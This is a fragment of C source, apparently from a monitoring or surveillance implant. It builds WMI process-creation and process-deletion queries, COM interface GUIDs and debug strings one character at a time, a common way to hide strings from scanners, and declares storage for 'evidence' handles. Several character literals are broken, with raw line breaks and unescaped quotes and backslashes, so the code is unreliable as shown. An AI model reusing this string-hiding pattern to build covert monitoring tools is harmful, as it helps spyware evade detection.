    WCHAR strWin32_Process[28]; // UNICODE
    CHAR strPSink_p[10];
    CHAR strName[8];
    WCHAR strFormat_stuff[9]; // UNICODE
    WCHAR strProcessId[10]; // UNICODE
    CHAR strIID_IUnknown[35];
    CHAR strSinkSetStatus[15];
    WCHAR strWQL[4]; // UNICODE
    CHAR strExecNotificationQueryAsync[47];
    CHAR strLoader[7];
    WCHAR strLName[5]; // UNICODE
    CHAR strEmpty_name[12];
    CHAR strAddref[12];
    CHAR strEvent_occured[15];
    CHAR strConnected[11];
    WCHAR strInstanceDeletionEvent[89]; // UNICODE
    CHAR strIID_IWbemLocator[35];
    CHAR strIID_IWbemObjectSink[35];
    WCHAR strTargetInstance[15]; // UNICODE
    WCHAR strROOT_CIMV2[11]; // UNICODE
} STRINGS_EVENTS, *PEVENTS;
STRINGS_EVENTS eventsStrings =
{
	{ 'n', 'a', 'm', 'e', ' ', '%', 'S', '
',  0x0 },
	{ 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'W', 'i', 'n', '3', '2', '_', 'P', 'r', 'o', 'c', 'e', 's', 's',  0x0 },
	{ 'p', 'S', 'i', 'n', 'k', ' ', '%', 'p', '
',  0x0 },
	{ 'N', 'a', 'm', 'e', ' ', ':', ' ',  0x0 },
	{ '%', 's', ',', ' ', '%', 's', '
', '
',  0x0 },
	{ 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd',  0x0 },
	{ '0', '0', '0', '0', '0', '0', '0', '-', '0', '0', '0', '0', '-', '0', '0', '0', '0', '-', 'C', '0', '0', '0', '-', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '4',  0x0 },
	{ 'S', 'i', 'n', 'k', 'S', 'e', 't', 'S', 't', 'a', 't', 'u', 's', '
',  0x0 },
	{ 'W', 'Q', 'L',  0x0 },
	{ 'E', 'x', 'e', 'c', 'N', 'o', 't', 'i', 'f', 'i', 'c', 'a', 't', 'i', 'o', 'n', 'Q', 'u', 'e', 'r', 'y', 'A', 's', 'y', 'n', 'c', ' ', 'f', 'a', 'i', 'l', 'e', 'd', ' ', 'w', 'i', 't', 'h', ' ', '=', ' ', '0', 'x', '%', 'X', '
',  0x0 },
	{ 'l', 'o', 'a', 'd', 'e', 'r',  0x0 },
	{ 'N', 'a', 'm', 'e',  0x0 },
	{ 'e', 'm', 'p', 't', 'y', ' ', 'n', 'a', 'm', 'e', '
',  0x0 },
	{ 'a', 'd', 'd', 'r', 'e', 'f', ':', ' ', '%', 'd', '
',  0x0 },
	{ 'e', 'v', 'e', 'n', 't', ' ', 'o', 'c', 'c', 'u', 'r', 'e', 'd', '
',  0x0 },
	{ 'C', 'o', 'n', 'n', 'e', 'c', 't', 'e', 'd', '
',  0x0 },
	{ 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', ' ', '_', '_', 'I', 'n', 's', 't', 'a', 'n', 'c', 'e', 'D', 'e', 'l', 'e', 't', 'i', 'o', 'n', 'E', 'v', 'e', 'n', 't', ' ', 'W', 'I', 'T', 'H', 'I', 'N', ' ', '1', ' ', 'W', 'H', 'E', 'R', 'E', ' ', 'T', 'a', 'r', 'g', 'e', 't', 'I', 'n', 's', 't', 'a', 'n', 'c', 'e', ' ', 'I', 'S', 'A', ' ', ''', 'W', 'I', 'n', '3', '2', '_', 'P', 'r', 'o', 'c', 'e', 's', 's', ''',  0x0 },
	{ 'C', '1', '2', 'A', '6', '8', '7', '-', '7', '3', '7', 'F', '-', '1', '1', 'C', 'F', '-', '8', '8', '4', 'D', '-', '0', '0', 'A', 'A', '0', '0', '4', 'B', '2', 'E', '2',  0x0 },
	{ 'C', '8', '5', '7', '8', '0', '1', '-', '7', '3', '8', '1', '-', '1', '1', 'C', 'F', '-', '8', '8', '4', 'D', '-', '0', '0', 'A', 'A', '0', '0', '4', 'B', '2', 'E', '2',  0x0 },
	{ 'T', 'a', 'r', 'g', 'e', 't', 'I', 'n', 's', 't', 'a', 'n', 'c', 'e',  0x0 },
	{ 'R', 'O', 'O', 'T', '\', 'C', 'I', 'M', 'V', '2',  0x0 },
};
typedef struct _VARIABLES_STORAGE
{
    EVIDENCE_HANDLE sequentialEvidences[MAX_SEQUENTIAL_EVIDENCE];
    CRITICAL_SECTION evidenceHandlesCriticalSection;
} VARIABLES_STORAGE, *PVARIABLES_STORAGE;


typedef struct _STRINGS_STORAGE
{
} STRINGS_STORAGE, *PSTORAGE;
STRINGS_STORAGE storageStrings =
{
};
